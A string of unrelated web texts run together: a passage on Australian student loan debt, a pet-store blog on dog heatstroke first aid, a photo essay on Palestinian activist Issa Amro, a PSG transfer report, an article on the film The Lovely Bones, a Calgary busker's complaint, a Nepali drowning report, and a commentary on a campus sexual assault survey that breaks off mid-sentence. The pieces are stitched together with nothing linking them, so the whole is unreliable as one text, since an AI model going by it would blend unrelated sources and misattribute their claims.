2016-17: $2.99 billion 2017-18: $3.78 billion 2018-19: $4.44 billion Total = $15.1 billion A recent Government budget update showed more than 20 per cent of debt issued in 2018-19 was not expected to be repaid, with the average amount of debt tipped to be $22,500. "This is principally driven by what we call doubtful debt, that is student debt we don't expect to get back," Grattan Institute higher education director Andrew Norton said. "Driven by expanding student numbers in the higher education system and the extension of HELP loans to students doing vocational education diplomas, which has been very much in the news for lots of malpractice in that industry." Higher education student numbers continue to rise, in part due to the removal of caps on university places in 2009 to create the current "demand-driven" system. "But also there are trends in the labour market which mean that students are less likely to reach the $54,000, such as increased part-time work and simply because diploma graduates don't earn as much as bachelor degree graduates," Mr Norton said. Student loan scheme a 'central feature' of higher education Universities Australia chief executive Belinda Robinson is open to changes for university loans, but only if the HECS-HELP scheme remains fundamentally intact. "To ensure that those with the ability to study at university are not impeded and not deterred from doing so," she said. "It's really important to understand the value of the student loan scheme that we have in Australia. "It has been an absolutely central feature of the success of higher education policy in Australia for many, many years." The total cost to the Federal Government of higher education is tipped to be nearly $20 billion in two years time — nearly double the 2008 cost. Students currently pay just over 40 per cent of university course fees — often through HECS-HELP loans — with the Government paying the rest. The ABC obtained Senator Birmingham's incoming ministerial brief, with the probe also revealing: Commonwealth-supported university places will have jumped by 50 per cent over the 10 years to 2018 to 712,200 The uncapping of university places under the former Labor government has cost the Commonwealth at least $3.8 billion since being introduced The demand-driven system is expected to cost more than $10 billion over a decade, compared to the previous regime Focus should be on cleaning up vocational training: Opposition Senator Birmingham earlier this week confirmed the Government was sticking with its plan to cut university funding. He also confirmed the Government would implement its deregulation plan from next year, after delaying the controversial 2014 budget measure. The Senate previously rejected the bid, which Labor claimed would see degrees cost $100,000 or more. The Opposition's higher education spokesman Kim Carr said the focus should be on cleaning up vocational training. "Personal trainers, and people that are undertaking diplomas of digital interactive gaming, those types of courses are being used running up big debts with no capacity to graduate and no real prospect of repaying," Senator Carr said. "We can't allow these phoney training colleges to be able to inflict this sort of suffering on so many students." Topics: university-and-further-education, federal-government, money-and-monetary-policy, australia First posted -April is Pet First Aid Awareness Month. How prepared are you for an emergency situation with your pet? What if you can’t get your little buddy to the vet quick enough? Do you know what to do in some of the most common emergencies? Pet first aid is important for any pet owner to know, it can help save your pets life if you are unable to seek professional care. This time of year is starting to get warmer outside. That means longer walks, traveling to the beach, mountain climbing and more. Heat exhaustion can be dangerous, even fatal, for dogs. It is important to be able to act quickly and be able to recognize symptoms of heatstroke/exhaustion. Dogs suffering from heat stroke will normally exhibit some or all of the following symptoms: Restlessness • Panting • Increased respiratory rate • Increased heart rate • Excess salivation • Vomiting • Diarrhea Heatstroke- Excessive panting and bright red gums or tongue are two major signs of overheating, as well as any temperature above 104 degrees. The normal body temperature for your pet should be between 99-102.5 degrees. As the symptoms progress and the dog’s temperature rises, signs become more serious. Weakness • Staggering • Gasping • Gum color may become brick red, then purple or blue (cyanosis) • Seizures • Coma • Death This can be devastating for uninformed or unsuspecting pet owners. Having the proper knowledge and skills to react to these situations will help alleviate much of the panic and stress pet owners often experience. Fortunately, there are some simple things that you can do to protect your dog from the dangers of heat exhaustion. The very first thing you need to do, is remove your pet from the heat and place them in a cool area. Check their temperature. Use a hose to spray your pet with cool water, or place your pet in a cool bath. While doing this, re-check their temperature to see if it’s going down. You can also try placing water soaked towels on their head, neck, feet, and/or abdomen area. Provide cool drinking water for your pet. Keep this up until your pets temperate is back to normal and seek immediate veterinary care afterwards. Warm weather is here and remember to never leave your pets in a parked car, and watch for signs of overexertion. Being well equipped for the heat when you have your pet with you is also important. The H-Duo travel cup made by Dexus makes that a breeze. This bottle is split in half, one side is for you, and one side is for your pet. Attached is a removable, and collapsible companion cup to ensure your pet stays hydrated on those warm days. Another item that is important to keep handy this summer is the Chillz Cooling Wrapz. This washable, durable cloth will stay cool for hours once it’s been wet with cool water. Make sure you’re prepared for the heat we’re sure to endure this summer. Be sure to stop by the store if you need any of these items. Or throw them in your shopping cart right now. Look for next weeks blog. We will give you tips on wound care. -Palestinian activist Issa Amro Issa Amro is committed to peaceful resistance to the Israeli occupation in his native West Bank city of Hebron, despite frequent arrests, attacks by settlers and other unrelenting efforts to sabotage his work. “Nonviolence is the best tool because it strengthens civil society and it gives a role to each person: the kids, the women, the elders and the youth. With nonviolent activities you get more international support and you neutralize the violence of the oppressor,” he explained. Issa Amro speaks at a press conference marking the beginning of the annual Open Shuhada Street campaign in Hebron. In Hebron, several hundred hostile settlers, many of them armed, live within close quarters of Palestinians under the guard of the Israeli army. Soldiers severely restrict Palestinians’ movement and do little to prevent settler violence against Palestinians and their property. Amro, 36, founded the direct action group Youth Against Settlements. “We go to universities, we go to schools and we organize activities within our community to teach the youth how to resist the occupation using nonviolence,” he said. Israeli soldiers fire rubber-coated steel bullets and stun grenades at Palestinian boys throwing stones. Every year, Youth Against Settlements organizes a week of activities as part of the Open Shuhada Street campaign, calling for the reopening of one of Hebron’s former main commercial thoroughfares, which the Israeli army has shuttered and closed to Palestinians since 1994. Access to the street for Palestinians was restricted after the massacre of 29 worshippers inside the Ibrahimi mosque by American Jewish settler Baruch Goldstein that same year. Students paint a canvas outside the Shuhada Street checkpoint. This year’s Open Shuhada Street campaign included an art event in front of an Israeli checkpoint involving students from the nearby Palestine Polytechnic University. “Through art, we send a message to the occupiers and tell them that they cannot occupy our imagination and dreams of freedom and justice. Art can reach out to more people,” Amro said. The event was violently dispersed by Israeli soldiers who fired stun grenades at the students after a few boys threw stones towards the checkpoint. Issa Amro speaks with an Israeli soldier while Ofer Yohanna, a settler, records the exchange on his phone. Responding to an order from Yohanna, the soldier stopped Amro and a delegation from Breaking the Silence from passing through. Amro gives regular tours of Hebron to delegations from around the world, showing the reality of life under military occupation. The tours are often targeted by settlers seeking to intimidate both Amro and the visitors. Jewish settler Ofer Ohana frequently interrupts tours conducted by Amro. He is an ambulance driver in Hebron and has been known to delay or even deny the provision of medical attention to Palestinians. “There is no law enforcement on the Israeli settlers or soldiers. As a Palestinian I am under Israeli military law and my Israeli settler neighbors are under Israeli civilian law. We are under different laws even though we are living in the same neighborhood,” Amro explained. Palestinians in Hebron commemorate the anniversary of the Ibrahimi mosque massacre. As part of this year’s Open Shuhada Street campaign, Youth Against Settlements members and volunteers were invited to join residents of Hebron in an evening of commemoration for the victims of the 1994 Ibrahimi mosque massacre. Israeli soldiers detain four Palestinians, including a child, on their way home after a vigil commemorating the Ibrahimi mosque massacre. As people started to make their way home after the evening’s commemorative activities, Israeli soldiers detained Amro together with three other Palestinians, including a 10-year-old girl. Anat Cohen, a settler living in Hebron, drives her car into a group of Palestinians. While Amro was detained, one of the settlers approached him. “He told me that each dog has his own day to be killed, meant to intimidate me and to describe me as a dog,” Amro recalled. As people gathered, waiting for Amro and the other Palestinians to be released, the infamously violent settler Anat Cohen drove her car directly into the crowd. A Palestinian man talks to an Israeli soldier who refused to intervene when a settler drove her car into a crowd. Several military units were called to the scene but none made any attempt to restrain Cohen. Yet in recent months soldiers have shot dead numerous Palestinians who Israel said used their cars as weapons against Israelis. “As Palestinians we are under the military law; we don’t have any rights and they don’t take our testimonies and our words into consideration. Soldiers are believed to always say the truth; they don’t need to show evidence. We, on the other hand, need to show evidence that we are not guilty,” Amro said. A Palestinian man collapses after a settler attacked a crowd that had gathered to commemorate the Ibrahimi mosque massacre. A Palestinian man collapsed during the incident. Many Israeli soldiers stood around, making no effort to provide assistance. An ambulance was called but its arrival was delayed. Two days later, during a demonstration marking the end of the week’s Open Shuhada Street campaign, Israeli soldiers broke up the crowd and arrested a human rights lawyer and a journalist. Approximately 50 people were injured when soldiers fired tear gas, stun grenades and rubber-coated bullets at the crowd. Issa Amro speaks to a group of young Israelis during a Breaking the Silence tour. At the end of his conversation with the group, Israeli soldiers appeared and arrested Amro. Amro was arrested a few days later at the end of a meeting with a delegation from Breaking the Silence, a group which publishes anonymous testimonies by former Israeli soldiers to expose the army’s rights abuses. He was charged with incitement, organizing an illegal demonstration and evading arrest – allegations which he rejects. “It is a kind of intimidation to stop the nonviolent activities and to stop any person from speaking out against the occupation and human rights violations,” Amro, who was released one day later, said. The constant harassment doesn’t deter Amro. “I will continue fighting them until they leave Hebron and they end their human rights violations,” he added. Claire Thomas is a freelance photographer from the UK whose work focuses on social, political and humanitarian issues in the Middle East, Europe and Africa. Follow her on Twitter and Facebook. -PARIS -- Pepe is set to become Paris Saint-Germain's first summer signing once his Real Madrid contract comes to an end, a source close to the French capital outfit told ESPN FC. The Portugal international is still on Confederations Cup duty and will be until the third-placed playoff on Sunday, just two days before PSG coach Unai Emery and his non-international players report to Camp des Loges for preseason training, but the 34-year-old is close to signing a contract. According to the source, Pepe has been in talks with Les Parisiens for some time over a potential move to Parc des Princes -- before and after compatriot Antero Henrique's arrival as sporting director. However, it is mainly because of the former Porto man that this deal has been pushed to the brink of completion after the Portuguese transfer guru and Emery agreed the squad require greater experience and a stronger winning mentality. The source said Pepe is set to sign a one-year contract with PSG, which includes an option for a second, and that the Ligue 1 giants' medical staff have already examined the Brazil-born Portugal star's troublesome knee. Although he will go on holiday post-Confederations Cup, the former Maritimo and Porto man -- who has won the Champions League three times as well as the 2016 European Championship among other titles -- is almost certain to be Henrique's first signing since he joined PSG at the start of June. Pepe is expected to sign with PSG after he's finished with Portugal this summer. Another boost for the sporting director and the recently deposed former French champions is the news that Thiago Motta is set to extend his stay by one more campaign. The source claimed that although there are still a few details left to be taken care of in terms of how the 34-year-old transitions into a staff role at the end of his proposed new deal -- and which position he will occupy -- the Brazil-born Italy international will prolong his playing career by one more term. Motta's contract extension should be taken care of by the end of the week, and along with Pepe, he will be the main source of experience in the dressing room. Once Pepe and Motta are sorted, PSG's next objective will be to lure Fabinho from French rivals and current champions Monaco to the capital. The Brazil international is currently attracting interest from the likes of Manchester United but the source says the 23-year-old -- who was has been a revelation with Les Monegasques under Leonardo Jardim since switching from right back to defensive midfield -- has given his word to Henrique that he will hold out for a move to PSG. Assuming Fabinho gets his wish, he will take over the deep-lying midfield role Motta has made vital to the team's now trademark possession-based 4-3-3 formation, enabling Marco Verratti and Adrien Rabiot to occupy the more advanced berths with Blaise Matuidi likely to be moved on this summer. Jonathan Johnson covers PSG and the French national team for ESPN FC. Twitter: @Jon_LeGossip. -2009 film based on Alice Sebold's 2002 novel The Lovely Bones is a 2009 supernatural drama film directed by Peter Jackson, and starring Mark Wahlberg, Rachel Weisz, Susan Sarandon, Stanley Tucci, Michael Imperioli, and Saoirse Ronan. The screenplay by Fran Walsh, Philippa Boyens, and Jackson was based on Alice Sebold’s award-winning and bestselling 2002 novel of the same name. It follows a girl who is murdered and watches over her family from the in-between, and is torn between seeking vengeance on her killer and allowing her family to heal. An international co-production between the United States, the United Kingdom, and New Zealand,[2] the film was produced by Carolynne Cunningham, Walsh, Jackson, and Aimee Peyronnet, with Steven Spielberg, Tessa Ross, Ken Kamins, and James Wilson as executive producers. Principal photography began in October 2007 in New Zealand and Pennsylvania, United States. The film's score was composed by Brian Eno. The Lovely Bones was first released on December 26, 2009, in New Zealand, and then internationally in January 2010. The film's North American release date was changed multiple times, with a limited release on December 11, 2009, and a wider release on January 15, 2010.[3] It was released to mainly mixed reviews from critics; the story and its message were generally criticized, with praise mainly aimed at the visual effects, Peter Jackson's direction, and the performances of Ronan and Tucci. In the film's opening weekend, in limited release, it grossed $116,616, despite only having been screened in three theaters, placing it at 30th place on the box office chart.[3] The Lovely Bones grossed over $44 million in North America.[4] The film also received numerous accolades, including Golden Globe, Screen Actors Guild, BAFTA, and Academy Award nominations. Plot [ edit ] In 1973, 14-year-old high school freshman Susie Salmon dreams about becoming a photographer. One day, Ray, a boy she has a crush on, approaches her at school and asks her out. As Susie walks home through a cornfield, she runs into her neighbor, George Harvey, who coaxes her into his underground den. Inside, Susie becomes uncomfortable and attempts to leave; when he grabs her, the scene fades until she is seen rushing past classmate Ruth Connors, apparently fleeing Harvey's den. The Salmons become worried when Susie fails to return home from school. Her father, Jack, searches for her, while her mother, Abigail, waits for the police. In town, Susie sees Jack, but he does not respond to her when she calls. Susie runs home to find Harvey soaking in a bathtub. After seeing her bracelet hanging on the sink faucet near a bloody shaving razor, Susie realizes she never escaped the den and was murdered by Harvey. Screaming, she is pulled into the "In-Between", that is neither Heaven nor Earth. From there, Susie watches over her loved ones, unable to let go despite the urging of her new afterlife friend, Holly. Investigating Susie's disappearance with Detective Fenerman, Jack thinks Susie was murdered by someone she knew. He researches neighbors and comes to think Harvey is the killer. Fenerman is unable to find any evidence pinpointing Harvey as a suspect, as Harvey cleaned up. Susie's sister, Lindsey, agrees with Jack's suspicions, but their casework takes a toll on Abigail, and Jack invites Abigail's alcoholic mother, Lynn, to move in with them. Feeling alienated from her husband, Abigail leaves for California. Susie, in her afterlife, learns that Harvey, who has now targeted Lindsey as his next victim, has murdered six other girls, including Holly, and that he stuffed Susie's body into a safe in his basement. One night, Jack, carrying a bat, trails Harvey into the cornfield. However, Jack accidentally stumbles across Susie's friend, Clarissa. Her boyfriend, who mistakenly thinks his girlfriend is being assaulted, nearly bludgeons Jack to death as Harvey watches from a hiding spot. As Jack recuperates, Lindsey breaks into Harvey's house looking for evidence that he killed Susie. Upstairs, she finds a notebook containing a sketch of the den, a lock of Susie's hair, and news articles about Susie's disappearance. Harvey returns home and almost catches Lindsey in his house, but she escapes and rushes home to discover that her mother has returned. Not wishing to spoil her parents' reunion, she gives the book to her grandmother, who contacts the police. Harvey has already fled, having seen Lindsey running from his home – he takes the safe containing Susie's remains with him. Susie's afterlife begins expanding into a larger heaven, and she is greeted by Harvey's other victims—now showing nine, including Susie. She resists Holly's urging to enter Heaven along with the others, claiming she has one final thing to do. Meanwhile, Susie's classmates Ruth and Ray are present when Harvey drives up to dispose of the safe at a sinkhole dump site. Susie returns to Earth and enters Ruth's body, causing Ruth to faint. Ray rushes to Ruth's aid only to realize she has become Susie. They kiss, completing Susie's last wish, and she returns to Heaven. Meanwhile Harvey dumps the safe in a sinkhole, leaving it to disappear in the muddy water as he drives away. Sometime later, Harvey meets a young woman outside a diner and offers her a ride, but she rejects him and leaves. A large icicle falls from an overhead branch, hitting Harvey on the shoulder. He loses his balance on the ice and falls backward over a cliff to his death. Time passes, and Susie sees that her family is healing, which Susie refers to as "the lovely bones" that grew around her absence. As the film concludes, Susie finally enters Heaven, telling the audience: "My name is Salmon, like the fish; first name Susie. I was 14 years old when I was murdered on December 6, 1973. I was here for a moment and then I was gone. I wish you all a long and happy life." Cast [ edit ] Production [ edit ] In May 2000, Film4 Productions acquired feature film rights to Alice Sebold's novel The Lovely Bones,[25] when it was a half-written manuscript. Producer Aimee Peyronnet had sought to attract studio interest to the manuscript, and an insider informed Film4's deputy head of production, Jim Wilson, of the project.[26] The company attached Luc Besson and Peyronnet's production company Seaside to the project, two years before the novel's release.[25] By February 2001, Lynne Ramsay was hired to direct and write the film adaptation of the novel.[27] In July 2002, Channel 4 shut down Film4, causing Hollywood studios and producers to pursue acquisition of feature film rights to The Lovely Bones, which had spent multiple weeks at the top of the New York Times Best Seller list. The film adaptation, which had been estimated at a budget of $15 million, remained with Channel 4 under its newly developed inhouse film unit, with Ramsay still contracted to write and direct. By October 2002, Ramsay was writing the script with fellow screenwriter Liana Dognini, with filming planned for summer 2003.[26] Author Sebold was invited by the producers to provide input on the project.[28] Ramsay, who had read the novel in manuscript prior to publication, said in 2012 that her adaptation departed from it significantly. The scenes with Susie in heaven would have been depicted purely as her father's imagination. He would have become friends with Mr. Harvey, never suspecting him of having killed his daughter. "I really didn't like the My Little Pony, she's-in-heaven, everything's-O.K. aspect", she told The New York Times in 2012.[29] In July 2003, the studio DreamWorks negotiated a first look deal with producer Peyronnet,[30] after DreamWorks co-founder Steven Spielberg expressed interest in the project.[31] DreamWorks did not acquire the rights to the novel, and Ramsay was eventually detached from the project as, she says, FilmFour wanted a version more faithful to the novel.[29] In April 2004, producers Peter Jackson, Fran Walsh, and Philippa Boyens entered negotiations to develop the project.[32] Jackson described the book as "a wonderfully emotional and powerful story. Like all the best fantasy, it has a solid grounding in the real world."[33] By January 2005, Jackson and Walsh planned to independently purchase film rights and to seek studio financing after a script had been developed. The producers sought to begin adapting a spec script for The Lovely Bones in January 2006, with the goal of script completion and budget estimation by the following May.[34] Jackson explained he enjoyed the novel because he found it "curiously optimistic" and uplifting because of the narrator's sense of humor, adding there was a difference between its tone and subject matter. He felt very few films dealt with the loss of a loved one.[35] Jackson foresaw the most challenging element in the novel to adapt was the portrayal of Susie, the protagonist, in her heaven, and making it "ethereal and emotional but not hokey."[33] Saoirse Ronan explained Jackson chose to depict the afterlife as depending on Susie's emotions. "Whenever Susie feels happy, Heaven is sunny and there's birds and everything. Whenever it’s not so great, it's raining or she’s in the middle of an ocean."[36] Jackson described the book's description of "heaven" as being an "In-Between" rather than a true heaven and said he was not trying to paint a definitive picture of Heaven itself.[35] "[W]hen Jackson created Susie's heaven, in a 1973 world, he went through the Partridge Family television show archives as a reference."[37] "[I] basically [added] more violence and suffering, [the audience] wanted far more violence [...] They just weren't satisfied [...] We got a lot of people telling us that they were disappointed with this death scene, as they wanted to see [the character] in agony and suffer a lot more, we had to create a whole suffering death scene just to give people the satisfaction they needed." —Jackson to Reuters on re-shooting Harvey's death scene, November 2009[38] A 120-page draft of the script was written by September 2006.[39] In April 2007, the script was completed by Jackson, Walsh and Boyens; Jackson intended to direct. The three producers began seeking a studio partner to finance the film adaptation. Besides the major studios, smaller companies including United Artists were also contacted. New Line Cinema was excluded from negotiations because of Jackson's legal dispute with the studio over royalties from his The Lord of the Rings trilogy.[40] Jackson sought a beginning $65 million budget for The Lovely Bones, also requesting from studios what kind of promotional commitments and suggestions they would make for the film adaptation.[41] By May, four studios remained interested in the project: DreamWorks, Warner Bros., Sony, and Universal.[42] The Lovely Bones was sold to DreamWorks for $70 million.[43] Paramount Pictures received the rights to distribute the film worldwide. Production began in October 2007 in the U.S. state of Pennsylvania and New Zealand.[5][44] Shooting in parts of Delaware, Chester and Montgomery counties, including Hatfield,[45] Ridley Township, Phoenixville, Royersford, Malvern and East Fallowfield,[46] lasted a few weeks, and most of the studio shooting was done in New Zealand.[39] In December 2008, Brian Eno signed on to compose the film's score. Fran Walsh, a big fan of his work, suggested him to Jackson.[47] Jackson had called Eno to request use of two of his early tracks to evoke atmosphere for the 1970s scenes in the film. When Eno asked if he could compose the whole score, Jackson was surprised, since he had heard Eno did not like working on films. For the film's ending, Eno uncovered a demo he had done in 1973 and reunited with the vocalist to create a proper version for the film, commenting: "That song from 1973 was finally finished in 2008!"[48] In November 2009, Jackson stated that he re-shot new footage of Harvey's death scene after test audiences said it was not violent enough and wanted to "see more of Harvey in pain."[13][38] Jackson said it was important to him that the movie receive a PG-13 rating so that the film could appeal to the widest possible audience, despite the necessarily violent nature of some scenes.[13] Release [ edit ] Strategy [ edit ] The Lovely Bones and screened a clip from it. Jackson at 2009 Comic-Con film festival . At the festival Jackson discussedand screened a clip from it. The Lovely Bones was originally scheduled for release on March 13, 2009, but it was delayed to December 11, 2009, as the studio became interested in releasing the film for "awards season," which gave Jackson an opportunity to make some effects shots larger in scope.[49] The film then received a limited theater release on December 11, 2009, in the United States.[50] The film was originally set to have a wider United States theater release on December 25, 2009 (Christmas Day), as part of a campaign to build its momentum into January 2010.[52] In early December it was confirmed that the United States release date had been pushed back by three weeks to January 15, 2010.[53] Paramount and DreamWorks did not give a reason for the change of the release date. The film premiered in New Zealand on December 26, 2009, and was released in the United Kingdom on January 29 and in other countries in January 2010. According to the Los Angeles Times, Paramount invested $70 million in production and an additional $85 million in worldwide marketing and distribution.[53] In December 2009, the Los Angeles Times described the marketing and promotion of The Lovely Bones as having been a "heavy advertising campaign."[52] In late July 2009, as part of the promotion, Jackson talked about the film and screened a 4​1⁄ 2 minute clip at the San Diego Comic-Con International film festival.[37] As part of marketing for the film, in August 2009, people were allowed to enter a contest to win a trip to Wellington, for the film's New Zealand premiere on December 14, 2009.[54] The offer included, if the winner lived outside of Wellington, one night’s accommodation and a voucher for flight or petrol to Wellington.[54] A teaser trailer was released in August 2009, days before the film's official trailer.[55] The official trailer debuted on the television series Entertainment Tonight and was released online shortly afterwards.[37][56] In August 2009, Jackson offered a "behind-the-scenes look" at the film and discussed elements (mainly violence) in the film's plot line.[57] The Los Angeles Times reported that Paramount had originally expected the film to appeal to a "sophisticated, adult audience," but after poor revenue and average reviews, the studio decided to redirect the film to an audience in another age group.[52] Surveys showed that the film was favored more by females aged 13–20 than by any other demographic. Paramount began to screen the movie "aggressively for high school- and college-age girls" during its three-screen limited release.[52] Box office [ edit ] On December 11, 2009, the film was released on three screens in Los Angeles and New York. As of January 4, 2010, the film had grossed over $389,000 in the US.[3] Claudia Eller and Ben Fritz of the Los Angeles Times felt that it did poorly at the box office in the first few weeks of its release because of average reviews and negative word-of-mouth.[52] During its opening-weekend release on three screens, it earned over $116,616, an average of estimated $38,872 per-theater revenue.[3] The film's revenue placed it at thirtieth place on the box office chart.[3] In the film's second and third weeks of release, the film saw a decrease; in the fourth week, it had a 54.3-percent increase.[58] When put into wide release on January 15, 2010,[18] it grossed $17,005,133 that weekend, ranking number three at the domestic box office. By the end of its run, The Lovely Bones had made $44,114,232 domestically, and $49,507,108 overseas, for a worldwide total of $93,621,340. Home media [ edit ] The film was released in the US on DVD and two-disc Blu-ray April 20, 2010 and in the United Kingdom on June 11, 2010.[59] Reception [ edit ] Critical reception [ edit ] Although Ronan and Tucci were praised for their performances, The Lovely Bones received mixed reviews from critics.[60] On review aggregator Rotten Tomatoes, the film has a rating of 32%, based on 238 reviews, with an average rating of 5/10. The site's critical consensus reads, "It's stuffed full of Peter Jackson's typically dazzling imagery, but The Lovely Bones suffers from abrupt shifts between horrific violence and cloying sentimentality."[61] Metacritic gave the film a score of 42 out of 100, based on 36 critics, indicating "mixed or average reviews".[62] It is Peter Jackson's lowest rated film to date.[citation needed] Ian Freer of Empire gave the film 4/5 stars.[63] Freer emphasized the "bold, daring original filmmaking, with arguably more emotional and intellectual meat to chew on than either the Rings trilogy or Kong."[63] Freer noted that, like The Lord of the Rings, the film "does a fantastic job with revered, complex source material" and that, since it is "as terrific on terra firma as it is audacious in its astral plane", it is "doubtful" that there would be a "more imaginative" and "courageous film" in 2010.[63] Richard Corliss of Time wrote that "through [Peter] Jackson's art" and Ronan's "magic" the "obscenity of child murder has been invested with immense gravity and grace" and "like the story of Susie's life after death, that's a miracle."[64] Peter Travers of Rolling Stone felt that the film was "conveyed" in a "remarkable performance" by Ronan and described Tucci as being "magnificent as a man of uncontrollable impulses" to "help Jackson cut a path to a humanity that supersedes life and death."[65] Travers praised Jackson for building "jolting suspense." Despite praising the film, however, Travers noted that while the book "never flinched," the film does, and while the "business is being transacted" by Jackson with a "Lord of the Rings fantasy" the film "attunes himself to a family tragedy."[65] Claudia Puig of USA Today gave the film 2/4 stars, remarking that while "[Peter] Jackson gets the thriller scenes right", the "conceit of Susie trapped in a DayGlo world between the one she left and her final resting place, imparting lessons on coping with death, feels preachy."[66] Puig also described the film as having "clashing tones" that veer from "lightheartedness to heavy-handedness."[66] Puig also criticized the film's computer-generated imagery, describing it as being "cheesy" and felt that it broke "no ground."[66] Kirt Honeycutt, of the Hollywood Reporter, described the film as telling "a fundamentally different story" which is "one that is not without its tension, humor and compelling details", but that "it's also a simpler, more button-pushing tale that misses the joy and heartbreak of the original."[67] Honeycutt also described Jackson as having transformed Sebold's "startling, unique novel about the aftermath of a terrible murder" into a story that's more "focused on crime and punishment."[67] "[Alice] Sebold's book would've had a tough leap to the multiplex no matter who guided it. But [Peter] Jackson is too enamored with the idea of mixing heaven and the heebie-jeebies, so he's made the skeevy equivalent of a Mitch Albom book with some pulp fiction pressed between its covers." Joe Neumaier, New York Daily News[68] Stephanie Zacharek, of Salon.com, viewed the film as being "an expensive-looking mess that fails to capture the mood, and the poetry, of its source material" because "good actors fighting a poorly conceived script, under the guidance of a director who can no longer make the distinction between imaginativeness and computer-generated effects."[69] Todd McCarthy, of Variety, felt that Jackson had undermined the "solid work from a good cast" with "show-offy celestial evocations" that "severely disrupt the emotional connections with the characters."[70] McCarthy stated that he felt that the film, overall, was a "significant artistic disappointment."[70] Joe Neumaier, of New York Daily News, described Jackson as having "siphoned out all the soulfulness" that made the author's "combination thriller/afterlife fantasy a best-seller" and that the film was "a gumball-colored potboiler that's more squalid than truly mournful."[68] Neumaier also wrote that the film and Jackson "wasted" a "good cast."[68] Roger Ebert of Chicago Sun-Times gave the film 1.5 stars out of 4, calling it "deplorable", and criticizing the apparent message that Susie's murder eventually made her happier. He was also critical of the film's portrayal of Heaven, which he compared to "a happy gathering of new Facebook friends". However, he praised the acting, stating that "this whole film is Jackson's fault".[71] According to the British Board of Film Classification (BBFC), the rating given to The Lovely Bones received 24 objections, more than any other movie in 2010. The BBFC report states, "Many found the film to be a shocking and upsetting experience. The scene in which young Susie is entrapped by the killer, and the subsequent sequence in which the killer soaks in a bath after the murder, were compared by some complainants to scenes in ‘18’ rated horror films." The BBFC rated the movie a 12A, and many complained that the movie was upsetting for a younger audience. Nevertheless, the BBFC defended its rating: "The Lovely Bones lacked any explicit detail of the murder and any sexual elements were downplayed. The audience’s sympathies remain entirely with the family and the film had many positive messages about life."[72][73][74][75][76] Accolades [ edit ] See also [ edit ] -There are still fences up all over the Splash Park and Issak Kendal Ker Plaza on Princes Island this weekend. These Fences make it impossible for me to do my job. On the busiest weekend of the year celebrating 150 years of Canadain History one tradition was forgotten and several Magicians, Jugglers, Acrobats and Clowns are unable to work. Ever since the park was built there has been street performance in that plaza. In it’s height there were dozens of entertainers emigrating to Calgary so they could perform on that beautiful amphitheater. For generations there has always been some kind of performance there every weekend. People who saw a one-man band there as a child, bring their kids back to watch the new generation of magicians and jugglers. Especially on Canada Day. Not this year. The fences wont allow the passing people to step off the path, out of traffic and enter the theatre to sit on the grass or the stones or the 3 tiers of steps for seating. When people walk past and see someone performing on the stage they don’t have the option to stop and watch. On Canada Day we moved our shows to Stephen Ave because there were all kinds of events and fun things bringing people to the core. The next day we went back to the amphitheater, THE FENCES ARE STILL UP!?! Our permits are very clear about where we are allowed perform. Because we gather crowds and perform full shows we are restricted to ONLY work in side that amphitheater. As soon as we gather a crowd anywhere else Bylaw or the Police shut us down. Is this just a negative result of bureaucracy? Or is Calgary Parks trying to get rid of us. Because right now they are acting like a partner who wants to break up me but would rather manipulate me into doing it for them. -Prabhat Kumar Jha Rautahat, August 6 Police today arrested contractor Prahlad Sah of Durga Construction Service after four girls of a family drowned in a ditch that was dug by Sah’s men to expand the Ring Road in Garuda Municipality, Rautahat. Ram Ekwal Sah’s daughters — Sangita Kumari, 12, and Sunita Kumari, 9, his brother Jogendra Sah’s daughter Sunaina Kumari, 9, and his other brother Prem Sah’s daughter Susmita Kumari, 9, of Ramjanaki Temple Tole of Garuda Municipality died in the tragic incident yesterday. Police arrested Prahlad after the victims’ family demonstrated against the incident. The locals protested with the bodies at Methur Chowk for four hours after relatives of the minors received the bodies from district hospital after the post-mortem today. They demanded stern action against the staffers at Road Division Office, Chandrapur, and the contractor. Police assured the victims’ kin that action would be taken against the guilty. SP Yagya Binod Pokhrel of Rautahat District Police Office said an immediate relief amount of Rs 25,000 was offered to families of each girl for their final rites. Rautahat Chief District Officer Uddab Bahadur Thapa has sought documents related to road construction from Road Division Office Chief Yogesh Suman. Suman said he was unaware of ditches being dug on the road. “We called a tender for road construction, giving all responsibilities to the contractor,” he added. He said the contractor should be held responsible for the incident. The road division office had called the tender for expanding the road. Sah signed the contract for Rs 1.4 million, which was one-third of the tender price. Locals accused the contractor of using soil dug out from sides of the road for construction of the road. A local, Manoj Chaudhary, said ditches were dug on both sides of the road using dozer. He said minors fell into a ditch filled with rainwater as they were oblivious of the ditches. Ram Ekwal has sought action against staffers of the road construction company who had left the ditches unattended. A version of this article appears in print on August 07, 2017 of The Himalayan Times. Follow The Himalayan Times on Twitter and Facebook -The Association of American Universities released the results of its 27-school “climate survey” on campus sexual assault on Monday, and officials explained on a conference call with reporters why this one is the gold standard. Unlike earlier surveys, the AAU survey included both a large number of campuses and a large sample size at each participating school, said Bonnie Fisher, a consultant for survey design firm Westat and professor at the University of Cincinnati. Prior surveys were “plagued” by differences in definitions and methods, how they were administered and how they were designed, Fisher said. The AAU survey precisely measured how many students said they were sexually violated by clearly defined methods of contact (penetration and touching) and “tactics” (physical force, drugs and alcohol, coercion, absence of affirmative consent). You would think with this careful design spread across more than two dozen large research universities, the AAU survey results would differ notably from previous surveys that suffered from vague definitions, small samples and “selection bias,” meaning an overrepresentation of people with strong views on the subject in the survey pool – all of which contributed to implausibly high levels of reported assault. Nope. This survey found slightly more sexual violence than the well-known but questionable statistic that 1 in 5 women are sexually assaulted in college: The incidence of sexual assault and sexual misconduct due to physical force, threats of physical force, or incapacitation among female undergraduate student respondents was 23.1 percent, including 10.8 percent who experienced penetration. This result made no sense to me, so I flipped to the section of the report that defines “incapacitation” (page viii of the executive summary), a concept that is so poorly explained on the average campus that it’s practically meaningless: “….unable to consent or stop what was happening because you were passed out, asleep or incapacitated due to drugs or alcohol” You’ll notice that is not a definition of incapacitation – it’s a tautology (incapacitation means being incapacitated) – and it’s not meaningfully different from how other surveys have treated incapacitation, as something you just know when it’s happening (to yourself or your partner). Indeed, students are now repeatedly warned at many campuses that they or their partners can’t consent if they are “incapacitated,” “intoxicated” or just “drunk” (we’re looking at you, Coastal Carolina), and judging whether an accuser was in a state of mind to be able to consent to sex (and whether the accused should have known) is one of the central tasks of campus adjudications. RELATED: If you don’t have the best sex of your life at Coastal Carolina University, it’s rape Since everyone agrees that alcohol (at the least) is involved in a significant number of campus sexual experiences, if not most of them, you’d think that telling students the precise conditions for incapacitation would be indispensable for getting accurate answers. When I asked officials on the call why the definition was so loose, 